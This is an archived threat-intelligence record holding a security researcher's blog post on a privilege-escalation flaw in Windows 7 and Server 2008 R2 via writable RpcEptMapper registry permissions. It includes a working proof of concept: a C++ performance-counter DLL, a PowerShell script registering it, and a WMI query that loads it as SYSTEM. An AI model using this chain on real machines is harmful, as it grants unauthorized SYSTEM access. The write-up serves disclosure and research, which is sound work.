{
	"id": "3f42cdc1-685a-491b-89c0-106ad0d963df",
	"created_at": "2026-04-06T00:10:09.234087Z",
	"updated_at": "2026-04-10T03:20:06.49876Z",
	"deleted_at": null,
	"sha1_hash": "deea7500ff142b78e93e45692500be5a0340b2ab",
	"title": "Windows RpcEptMapper Service Insecure Registry Permissions EoP",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 530921,
	"plain_text": "Windows RpcEptMapper Service Insecure Registry Permissions EoP\r\nPublished: 2020-11-11 · Archived: 2026-04-05 23:12:30 UTC\r\nIf you follow me on Twitter, you probably know that I developed my own Windows privilege escalation enumeration script -\r\nPrivescCheck - which is a sort of updated and extended version of the famous PowerUp. If you have ever run this script on\r\nWindows 7 or Windows Server 2008 R2, you probably noticed a weird recurring result and perhaps thought that it was a\r\nfalse positive just as I did. Or perhaps you’re reading this and you have no idea what I am talking about. Anyway, the only\r\nthing you should know is that this script actually did spot a Windows 0-day privilege escalation vulnerability. Here is the\r\nstory behind this finding…\r\nA Bit of Context…\r\nAt the beginning of this year, I started working on a privilege escalation enumeration script: PrivescCheck. The idea was to\r\nbuild on the work that had already been accomplished with the famous PowerUp tool and implement a few more checks that\r\nI found relevant. With this script, I simply wanted to be able to quickly enumerate potential vulnerabilities caused by system\r\nmisconfigurations but, it actually yielded some unexpected results. Indeed, it enabled me to find a 0-day vulnerability in\r\nWindows 7 / Server 2008R2!\r\nGiven a fully patched Windows machine, one of the main security issues that can lead to local privilege escalation is service\r\nmisconfiguration. If a normal user is able to modify an existing service then he/she can execute arbitrary code in the context\r\nof LOCAL/NETWORK SERVICE or even LOCAL SYSTEM. Here are the most common vulnerabilities. There is nothing\r\nnew so you can skip this part if you are already familiar with these concepts.\r\nService Control Manager (SCM) - Low-privileged users can be granted specific permissions on a service through\r\nthe SCM. For example, a normal user can start the Windows Update service with the command sc.exe start\r\nwuauserv thanks to the SERVICE_START permission. This is a very common scenario. However, if this same user had\r\nSERVICE_CHANGE_CONFIG , he/she would be able to alter the behavior of the that service and make it run an arbitrary\r\nexecutable.\r\nBinary permissions - A typical Windows service usually has a command line associated with it. If you can modify\r\nthe corresponding executable (or if you have write permissions in the parent folder) then you can basically execute\r\nwhatever you want in the security context of that service.\r\nUnquoted paths - This issue is related to the way Windows parses command lines. Let’s consider a fictitious service\r\nwith the following command line: C:\\Applications\\Custom Service\\service.exe /v . This command line is\r\nambiguous so Windows would first try to execute C:\\Applications\\Custom.exe with Service\\service.exe as the\r\nfirst argument (and /v as the second argument). If a normal user had write permissions in C:\\Applications then\r\nhe/she could hijack the service by copying a malicious executable to C:\\Applications\\Custom.exe . That’s why\r\npaths should always be surrounded by quotes, especially when they contain spaces: \"C:\\Applications\\Custom\r\nService\\service.exe\" /v\r\nPhantom DLL hijacking (and writable %PATH% folders) - Even on a default installation of Windows, some built-in\r\nservices try to load DLLs that don’t exist. That’s not a vulnerability per se but if one of the folders that are listed in\r\nthe %PATH% environment variable is writable by a normal user then these services can be hijacked.\r\nEach one of these potential security issues already had a corresponding check in PowerUp but there is another case where\r\nmisconfiguration may arise: the registry. Usually, when you create a service, you do so by invoking the Service Control\r\nManager using the built-in command sc.exe as an administrator. This will create a subkey with the name of your service\r\nin HKLM\\SYSTEM\\CurrentControlSet\\Services and all the settings (command line, user, etc.) will be saved in this subkey.\r\nSo, if these settings are managed by the SCM, they should be secure by default. At least that’s what I thought…\r\nChecking Registry Permissions\r\nOne of the core functions of PowerUp is Get-ModifiablePath . The basic idea behind this function is to provide a generic\r\nway to check whether the current user can modify a file or a folder in any way (e.g.: AppendData/AddSubdirectory ). It does\r\nso by parsing the ACL of the target object and then comparing it to the permissions that are given to the current user account\r\nthrough all the groups it belongs to. Although this principle was originally implemented for files and folders, registry keys\r\nare securable objects too. Therefore, it’s possible to implement a similar function to check if the current user has any write\r\npermissions on a registry key. That’s exactly what I did and I thus added a new core function: Get-ModifiableRegistryPath .\r\nThen, implementing a check for modifiable registry keys corresponding to Windows services is as easy as calling the Get-ChildItem PowerShell command on the path Registry::HKLM\\SYSTEM\\CurrentControlSet\\Services . The result can\r\nsimply be piped to the new Get-ModifiableRegistryPath command, and that’s all.\r\nhttps://itm4n.github.io/windows-registry-rpceptmapper-eop/\r\nPage 1 of 11\n\nWhen I need to implement a new check, I use a Windows 10 machine, and I also use the same machine for the initial testing\r\nto see if everything is working as expected. When the code is stable, I extend the tests to a few other Windows VMs to make\r\nsure that it’s still PowerShell v2 compatible and that it can still run on older systems. The operating systems I use the most\r\nfor that purpose are Windows 7, Windows 2008 R2 and Windows Server 2012 R2.\r\nWhen I ran the updated script on a default installation of Windows 10, it didn’t return anything, which was the result I\r\nexpected. But then, I ran it on Windows 7 and I saw this:\r\nSince I didn’t expect the script to yield any result, I frst thought that these were false positives and that I had messed up at\r\nsome point in the implementation. But, before getting back to the code, I did take a closer look at these results…\r\nA False Positive?\r\nAccording to the output of the script, the current user has some write permissions on two registry keys:\r\nHKLM\\SYSTEM\\CurrentControlSet\\Services\\Dnscache\r\nHKLM\\SYSTEM\\CurrentControlSet\\Services\\RpcEptMapper\r\nLet’s manually check the permissions of the RpcEptMapper service using the regedit GUI. One thing I really like about\r\nthe Advanced Security Settings window is the Effective Permissions tab. You can pick any user or group name and\r\nimmediately see the effective permissions that are granted to this principal without the need to inspect all the ACEs\r\nseparately. The following screenshot shows the result for the low privileged lab-user account.\r\nhttps://itm4n.github.io/windows-registry-rpceptmapper-eop/\r\nPage 2 of 11\n\nMost permissions are standard (e.g.: Query Value ) but one in particular stands out: Create Subkey . The generic name\r\ncorresponding to this permission is AppendData/AddSubdirectory , which is exactly what was reported by the script:\r\nName : RpcEptMapper\r\nImagePath : C:\\Windows\\system32\\svchost.exe -k RPCSS\r\nUser : NT AUTHORITY\\NetworkService\r\nModifiablePath : {Microsoft.PowerShell.Core\\Registry::HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\RpcEptMapper\r\nIdentityReference : NT AUTHORITY\\Authenticated Users\r\nPermissions : {ReadControl, AppendData/AddSubdirectory, ReadData/ListDirectory}\r\nStatus : Running\r\nUserCanStart : True\r\nUserCanRestart : False\r\nName : RpcEptMapper\r\nImagePath : C:\\Windows\\system32\\svchost.exe -k RPCSS\r\nUser : NT AUTHORITY\\NetworkService\r\nModifiablePath : {Microsoft.PowerShell.Core\\Registry::HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\RpcEptMapper\r\nIdentityReference : BUILTIN\\Users\r\nPermissions : {WriteExtendedAttributes, AppendData/AddSubdirectory, ReadData/ListDirectory}\r\nStatus : Running\r\nUserCanStart : True\r\nUserCanRestart : False\r\nWhat does this mean exactly? It means that we cannot just modify the ImagePath value for example. To do so, we would\r\nneed the WriteData/AddFile permission. Instead, we can only create a new subkey.\r\nDoes it mean that it was indeed a false positive? Surely not. Let the fun begin!\r\nRTFM\r\nAt this point, we know that we can create arbirary subkeys under\r\nHKLM\\SYSTEM\\CurrentControlSet\\Services\\RpcEptMapper but we cannot modify existing subkeys and values. These\r\nalready existing subkeys are Parameters and Security , which are quite common for Windows services.\r\nhttps://itm4n.github.io/windows-registry-rpceptmapper-eop/\r\nPage 3 of 11\n\nTherefore, the first question that came to mind was: is there any other predefined subkey - such as Parameters and\r\nSecurity - that we could leverage to effectively modify the configuration of the service and alter its behavior in any way?\r\nTo answer this question, my initial plan was to enumerate all existing keys and try to identify a pattern. The idea was to see\r\nwhich subkeys are meaningful for a service’s configuration. I started to think about how I could implement that in\r\nPowerShell and then sort the result. Though, before doing so, I wondered if this registry structure was already documented.\r\nSo, I googled something like windows service configuration registry site:microsoft.com and here is the very first\r\nresult that came out.\r\nLooks promising, doesn’t it? At first glance, the documentation did not seem to be exhaustive and complete. Considering the\r\ntitle, I expected to see some sort of tree structure detailing all the subkeys and values defining a service’s configuration but it\r\nwas clearly not there.\r\nStill, I did take a quick look at each paragraph. And, I quickly spotted the keywords “Performance” and “DLL”. Under the\r\nsubtitle “Perfomance”, we can read the following:\r\nPerformance: A key that specifies information for optional performance monitoring. The values under this key\r\nspecify the name of the driver’s performance DLL and the names of certain exported functions in that DLL.\r\nYou can add value entries to this subkey using AddReg entries in the driver’s INF file.\r\nAccording to this short paragraph, one can theoretically register a DLL in a driver service in order to monitor its\r\nperformances thanks to the Performance subkey. OK, this is really interesting! This key doesn’t exist by default for the\r\nRpcEptMapper service so it looks like it is exactly what we need. There is a slight problem though, this service is definitely\r\nhttps://itm4n.github.io/windows-registry-rpceptmapper-eop/\r\nPage 4 of 11\n\nnot a driver service. Anyway, it’s still worth the try, but we need more information about this “Perfomance Monitoring”\r\nfeature first.\r\nNote: in Windows, each service has a given Type . A service type can be one of the following values:\r\nSERVICE_KERNEL_DRIVER (1) , SERVICE_FILE_SYSTEM_DRIVER (2) , SERVICE_ADAPTER (4) , SERVICE_RECOGNIZER_DRIVER\r\n(8) , SERVICE_WIN32_OWN_PROCESS (16) , SERVICE_WIN32_SHARE_PROCESS (32) or SERVICE_INTERACTIVE_PROCESS (256) .\r\nAfter some googling, I found this resource in the documentation: Creating the Application’s Performance Key.\r\nFirst, there is a nice tree structure that lists all the keys and values we have to create. Then, the description gives the\r\nfollowing key information:\r\nThe Library value can contain a DLL name or a full path to a DLL.\r\nThe Open , Collect , and Close values allow you to specify the names of the functions that should be exported\r\nby the DLL.\r\nThe data type of these values is REG_SZ (or even REG_EXPAND_SZ for the Library value).\r\nIf you follow the links that are included in this resource, you’ll even find the prototype of these functions along with some\r\ncode samples: Implementing OpenPerformanceData.\r\n1\r\n2\r\n3\r\nDWORD APIENTRY OpenPerfData(LPWSTR pContext);\r\nDWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);\r\nDWORD APIENTRY ClosePerfData();\r\nI think that’s enough with the theory, it’s time to start writing some code!\r\nWriting a Proof-of-Concept\r\nThanks to all the bits and pieces I was able to collect throughout the documentation, writing a simple Proof-of-Concept DLL\r\nshould be pretty straightforward. But still, we need a plan!\r\nhttps://itm4n.github.io/windows-registry-rpceptmapper-eop/\r\nPage 5 of 11\n\nWhen I need to exploit some sort of DLL hijacking vulnerability, I usually start with a simple and custom log helper\r\nfunction. The purpose of this function is to write some key information to a file whenever it’s invoked. Typically, I log the\r\nPID of the current process and the parent process, the name of the user that runs the process and the corresponding\r\ncommand line. I also log the name of the function that triggered this log event. This way, I know which part of the code was\r\nexecuted.\r\nIn my other articles, I always skipped the development part because I assumed that it was more or less obvious. But, I also\r\nwant my blog posts to be beginner-friendly, so there is a contradiction. I will remedy this situation here by detailing the\r\nprocess. So, let’s fire up Visual Studio and create a new “C++ Console App” project. Note that I could have created a\r\n“Dynamic-Link Library (DLL)” project but I find it actually easier to just start with a console app.\r\nHere is the initial code generated by Visual Studio:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n#include \u003ciostream\u003e\r\nint main()\r\n{\r\n std::cout \u003c\u003c \"Hello World!\\n\";\r\n}\r\nOf course, that’s not what we want. We want to create a DLL, not an EXE, so we have to replace the main function with\r\nDllMain . You can find a skeleton code for this function in the documentation: Initialize a DLL.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n#include \u003cWindows.h\u003e\r\nextern \"C\" BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason, LPVOID const reserved)\r\n{\r\n switch (reason)\r\n {\r\n case DLL_PROCESS_ATTACH:\r\n Log(L\"DllMain\"); // See log helper function below\r\n break;\r\n case DLL_THREAD_ATTACH:\r\n break;\r\n case DLL_THREAD_DETACH:\r\n break;\r\n case DLL_PROCESS_DETACH:\r\n break;\r\n }\r\n return TRUE;\r\n}\r\nIn parallel, we also need to change the settings of the project to specify that the output compiled file should be a DLL rather\r\nthan an EXE. To do so, you can open the project properties and, in the “General” section, select “Dynamic Library (.dll)”\r\nas the “Configuration Type”. Right under the title bar, you can also select “All Configurations” and “All Platforms” so\r\nthat this setting can be applied globally.\r\nNext, I add my custom log helper function.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n#include \u003cLmcons.h\u003e // UNLEN + GetUserName\r\n#include \u003ctlhelp32.h\u003e // CreateToolhelp32Snapshot()\r\n#include \u003cstrsafe.h\u003e\r\nvoid Log(LPCWSTR pwszCallingFrom)\r\n{\r\n LPWSTR pwszBuffer, pwszCommandLine;\r\n WCHAR wszUsername[UNLEN + 1] = { 0 };\r\n SYSTEMTIME st = { 0 };\r\nhttps://itm4n.github.io/windows-registry-rpceptmapper-eop/\r\nPage 6 of 11\n\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n31\r\n32\r\n33\r\n34\r\n35\r\n36\r\n37\r\n38\r\n39\r\n40\r\n41\r\n42\r\n43\r\n44\r\n45\r\n46\r\n47\r\n48\r\n49\r\n50\r\n51\r\n52\r\n53\r\n54\r\n55\r\n56\r\n57\r\n58\r\n59\r\n60\r\n HANDLE hToolhelpSnapshot;\r\n PROCESSENTRY32 stProcessEntry = { 0 };\r\n DWORD dwPcbBuffer = UNLEN, dwBytesWritten = 0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0;\r\n BOOL bResult = FALSE;\r\n // Get the command line of the current process\r\n pwszCommandLine = GetCommandLine();\r\n // Get the name of the process owner\r\n GetUserName(wszUsername, \u0026dwPcbBuffer);\r\n // Get the PID of the current process\r\n dwProcessId = GetCurrentProcessId();\r\n // Get the PID of the parent process\r\n hToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\r\n stProcessEntry.dwSize = sizeof(PROCESSENTRY32);\r\n if (Process32First(hToolhelpSnapshot, \u0026stProcessEntry)) {\r\n do {\r\n if (stProcessEntry.th32ProcessID == dwProcessId) {\r\n dwParentProcessId = stProcessEntry.th32ParentProcessID;\r\n break;\r\n }\r\n } while (Process32Next(hToolhelpSnapshot, \u0026stProcessEntry));\r\n }\r\n CloseHandle(hToolhelpSnapshot);\r\n // Get the current date and time\r\n GetLocalTime(\u0026st);\r\n // Prepare the output string and log the result\r\n dwBufSize = 4096 * sizeof(WCHAR);\r\n pwszBuffer = (LPWSTR)malloc(dwBufSize);\r\n if (pwszBuffer)\r\n {\r\n StringCchPrintf(pwszBuffer, dwBufSize, L\"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER='%s' - CMD='%s' - METHOD='%s'\\r\\\r\n st.wHour,\r\n st.wMinute,\r\n st.wSecond,\r\n dwProcessId,\r\n dwParentProcessId,\r\n wszUsername,\r\n pwszCommandLine,\r\n pwszCallingFrom\r\n );\r\n LogToFile(L\"C:\\\\LOGS\\\\RpcEptMapperPoc.log\", pwszBuffer);\r\n free(pwszBuffer);\r\n }\r\n}\r\nThen, we can populate the DLL with the three functions we saw in the documentation. The documentation also states that\r\nthey should return ERROR_SUCCESS if successful.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\nDWORD APIENTRY OpenPerfData(LPWSTR pContext)\r\n{\r\n Log(L\"OpenPerfData\");\r\n return ERROR_SUCCESS;\r\n}\r\nDWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned)\r\n{\r\n Log(L\"CollectPerfData\");\r\n return ERROR_SUCCESS;\r\n}\r\nhttps://itm4n.github.io/windows-registry-rpceptmapper-eop/\r\nPage 7 of 11\n\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\nDWORD APIENTRY ClosePerfData()\r\n{\r\n Log(L\"ClosePerfData\");\r\n return ERROR_SUCCESS;\r\n}\r\nOk, so the project is now properly configured, DllMain is implemented, we have a log helper function and the three\r\nrequired functions. One last thing is missing though. If we compile this code, OpenPerfData , CollectPerfData and\r\nClosePerfData will be available as internal functions only so we need to export them. This can be achieved in several\r\nways. For example, you could create a DEF file and then configure the project appropriately. However, I prefer to use the\r\n__declspec(dllexport) keyword (doc), especially for a small project like this one. This way, we just have to declare the\r\nthree functions at the beginning of the source code.\r\n1\r\n2\r\n3\r\nextern \"C\" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);\r\nextern \"C\" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjec\r\nextern \"C\" __declspec(dllexport) DWORD APIENTRY ClosePerfData();\r\nIf you want to see the full code, I uploaded it here.\r\nFinally, we can select Release/x64 and “Build the solution”. This will produce our DLL file:\r\n.\\DllRpcEndpointMapperPoc\\x64\\Release\\DllRpcEndpointMapperPoc.dll .\r\nTesting the PoC\r\nBefore going any further, I always make sure that my payload is working properly by testing it separately. The little time\r\nspent here can save a lot of time afterwards by preventing you from going down a rabbit hole during a hypothetical debug\r\nphase. To do so, we can simply use rundll32.exe and pass the name of the DLL and the name of an exported function as\r\nthe parameters.\r\n1 C:\\Users\\lab-user\\Downloads\\\u003erundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData\r\nGreat, the log file was created and, if we open it, we can see two entries. The first one was written when the DLL was loaded\r\nby rundll32.exe . The second one was written when OpenPerfData was called. Looks good!\r\n[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='\r\n[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='O\r\nOk, now we can focus on the actual vulnerability and start by creating the required registry key and values. We can either do\r\nthis manually using reg.exe / regedit.exe or programmatically with a script. Since I already went through the manual\r\nsteps during my initial research, I’ll show a cleaner way to do the same thing with a PowerShell script. Besides, creating\r\nregistry keys and values in PowerShell is as easy as calling New-Item and New-ItemProperty , isn’t it?\r\nhttps://itm4n.github.io/windows-registry-rpceptmapper-eop/\r\nPage 8 of 11\n\nRequested registry access is not allowed … Hmmm, ok… It looks like it won’t be that easy after all.\r\nI didn’t really investigate this issue but my guess is that when we call New-Item , powershell.exe actually tries to open\r\nthe parent registry key with some flags that correspond to permissions we don’t have.\r\nAnyway, if the built-in cmdlets don’t do the job, we can always go down one level and invoke DotNet functions directly.\r\nIndeed, registry keys can also be created with the following code in PowerShell.\r\n1 [Microsoft.Win32.Registry]::LocalMachine.CreateSubKey(\"SYSTEM\\CurrentControlSet\\Services\\RpcEptMapper\\Performance\")\r\nHere we go! In the end, I put together the following script in order to create the appropriate key and values, wait for some\r\nuser input and finally terminate by cleaning everything up.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n$ServiceKey = \"SYSTEM\\CurrentControlSet\\Services\\RpcEptMapper\\Performance\"\r\nWrite-Host \"[*] Create 'Performance' subkey\"\r\n[void] [Microsoft.Win32.Registry]::LocalMachine.CreateSubKey($ServiceKey)\r\nWrite-Host \"[*] Create 'Library' value\"\r\nNew-ItemProperty -Path \"HKLM:$($ServiceKey)\" -Name \"Library\" -Value \"$($pwd)\\DllRpcEndpointMapperPoc.dll\" -PropertyType \"Str\r\nWrite-Host \"[*] Create 'Open' value\"\r\nNew-ItemProperty -Path \"HKLM:$($ServiceKey)\" -Name \"Open\" -Value \"OpenPerfData\" -PropertyType \"String\" -Force | Out-Null\r\nWrite-Host \"[*] Create 'Collect' value\"\r\nNew-ItemProperty -Path \"HKLM:$($ServiceKey)\" -Name \"Collect\" -Value \"CollectPerfData\" -PropertyType \"String\" -Force | Out-Nu\r\nWrite-Host \"[*] Create 'Close' value\"\r\nNew-ItemProperty -Path \"HKLM:$($ServiceKey)\" -Name \"Close\" -Value \"ClosePerfData\" -PropertyType \"String\" -Force | Out-Null\r\nRead-Host -Prompt \"Press any key to continue\"\r\nWrite-Host \"[*] Cleanup\"\r\nRemove-ItemProperty -Path \"HKLM:$($ServiceKey)\" -Name \"Library\" -Force\r\nRemove-ItemProperty -Path \"HKLM:$($ServiceKey)\" -Name \"Open\" -Force\r\nRemove-ItemProperty -Path \"HKLM:$($ServiceKey)\" -Name \"Collect\" -Force\r\nRemove-ItemProperty -Path \"HKLM:$($ServiceKey)\" -Name \"Close\" -Force\r\n[Microsoft.Win32.Registry]::LocalMachine.DeleteSubKey($ServiceKey)\r\nThe last step now, how do we trick the RPC Endpoint Mapper service into loading our Performace DLL?\r\nUnfortunately, I haven’t kept track of all the different things I tried. It would have been really interesting in the context of\r\nthis blog post to highlight how tedious and time consuming research can sometimes be. Anyway, one thing I found along the\r\nway is that you can query Perfomance Counters using WMI (Windows Management Instrumentation), which isn’t too\r\nsurprising after all. More info here: WMI Performance Counter Types.\r\nCounter types appear as the CounterType qualifier for properties in Win32_PerfRawData classes, and as the\r\nCookingType qualifier for properties in Win32_PerfFormattedData classes.\r\nSo, I first enumerated the WMI classes that are related to Performace Data in PowerShell using the following command.\r\nhttps://itm4n.github.io/windows-registry-rpceptmapper-eop/\r\nPage 9 of 11\n\n1 Get-WmiObject -List | Where-Object { $_.Name -Like \"Win32_Perf*\" }\r\nAnd, I saw that my log file was created almost right away! Here is the content of the file.\r\n[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\\Windows\\system32\\wbem\\wmiprvse.exe' - METHOD='DllMain'\r\n[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\\Windows\\system32\\wbem\\wmiprvse.exe' - METHOD='OpenPerfData'\r\n[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\\Windows\\system32\\wbem\\wmiprvse.exe' - METHOD='CollectPerfData'\r\n[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\\Windows\\system32\\wbem\\wmiprvse.exe' - METHOD='CollectPerfData'\r\n[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\\Windows\\system32\\wbem\\wmiprvse.exe' - METHOD='CollectPerfData'\r\n[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\\Windows\\system32\\wbem\\wmiprvse.exe' - METHOD='CollectPerfData'\r\n[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\\Windows\\system32\\wbem\\wmiprvse.exe' - METHOD='CollectPerfData'\r\n[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\\Windows\\system32\\wbem\\wmiprvse.exe' - METHOD='CollectPerfData'\r\n[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\\Windows\\system32\\wbem\\wmiprvse.exe' - METHOD='CollectPerfData'\r\n[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\\Windows\\system32\\wbem\\wmiprvse.exe' - METHOD='CollectPerfData'\r\n[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\\Windows\\system32\\wbem\\wmiprvse.exe' - METHOD='CollectPerfData'\r\n[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\\Windows\\system32\\wbem\\wmiprvse.exe' - METHOD='CollectPerfData'\r\n[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\\Windows\\system32\\wbem\\wmiprvse.exe' - METHOD='CollectPerfData'\r\nI expected to get arbitary code execution as NETWORK SERVICE in the context of the RpcEptMapper service at most but, it\r\nlooks like I got a much better result than anticipated. I actually got arbitrary code execution in the context of the WMI\r\nservice itself, which runs as LOCAL SYSTEM . How amazing is that?!\r\nNote: if I had got arbirary code execution as NETWORK SERVICE , I would have been just a token away from the LOCAL\r\nSYSTEM account thanks to the trick that was demonstrated by James Forshaw a few months ago in this blog post: Sharing a\r\nLogon Session a Little Too Much.\r\nI also tried to get each WMI class separately and I observed the exact same result.\r\n1\r\n2\r\n3\r\nGet-WmiObject Win32_Perf\r\nGet-WmiObject Win32_PerfRawData\r\nGet-WmiObject Win32_PerfFormattedData\r\nConclusion\r\nI don’t know how this vulnerability has gone unnoticed for so long. One explanation is that other tools probably looked for\r\nfull write access in the registry, whereas AppendData/AddSubdirectory was actually enough in this case. Regarding the\r\n“misconfiguration” itself, I would assume that the registry key was set this way for a specific purpose, although I can’t think\r\nof a concrete scenario in which users would have any kind of permissions to modify a service’s configuration.\r\nI decided to write about this vulnerability publicly for two reasons. The first one is that I actually made it public - without\r\ninitially realizing it - the day I updated my PrivescCheck script with the GetModfiableRegistryPath function, which was\r\nseveral months ago. The second one is that the impact is low. It requires local access and affects only old versions of\r\nWindows that are no longer supported (unless you have purchased the Extended Support…). At this point, if you are still\r\nhttps://itm4n.github.io/windows-registry-rpceptmapper-eop/\r\nPage 10 of 11\n\nusing Windows 7 / Server 2008 R2 without isolating these machines properly in the network first, then preventing an\r\nattacker from getting SYSTEM privileges is probably the least of your worries.\r\nApart from the anecdotal side of this privilege escalation vulnerability, I think that this “Perfomance” registry setting opens\r\nup really interesting opportunities for post exploitation, lateral movement and AV/EDR evasion. I already have a few\r\nparticular scenarios in mind but I haven’t tested any of them yet. To be continued?…\r\nLinks \u0026 Resources\r\nGitHub - PrivescCheck\r\nhttps://github.com/itm4n/PrivescCheck\r\nGitHub - PowerUp\r\nhttps://github.com/HarmJ0y/PowerUp\r\nMicrosoft - “HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree”\r\nhttps://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree\r\nMicrosoft - Creating the Application’s Performance Key\r\nhttps://docs.microsoft.com/en-us/windows/win32/perfctrs/creating-the-applications-performance-key\r\nSource: https://itm4n.github.io/windows-registry-rpceptmapper-eop/\r\nhttps://itm4n.github.io/windows-registry-rpceptmapper-eop/\r\nPage 11 of 11",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://itm4n.github.io/windows-registry-rpceptmapper-eop/"
	],
	"report_names": [
		"windows-registry-rpceptmapper-eop"
	],
	"threat_actors": [
		{
			"id": "d90307b6-14a9-4d0b-9156-89e453d6eb13",
			"created_at": "2022-10-25T16:07:23.773944Z",
			"updated_at": "2026-04-10T02:00:04.746188Z",
			"deleted_at": null,
			"main_name": "Lead",
			"aliases": [
				"Casper",
				"TG-3279"
			],
			"source_name": "ETDA:Lead",
			"tools": [
				"Agentemis",
				"BleDoor",
				"Cobalt Strike",
				"CobaltStrike",
				"RbDoor",
				"RibDoor",
				"Winnti",
				"cobeacon"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434209,
	"ts_updated_at": 1775791206,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/deea7500ff142b78e93e45692500be5a0340b2ab.pdf",
		"text": "https://archive.orkl.eu/deea7500ff142b78e93e45692500be5a0340b2ab.txt",
		"img": "https://archive.orkl.eu/deea7500ff142b78e93e45692500be5a0340b2ab.jpg"
	}
}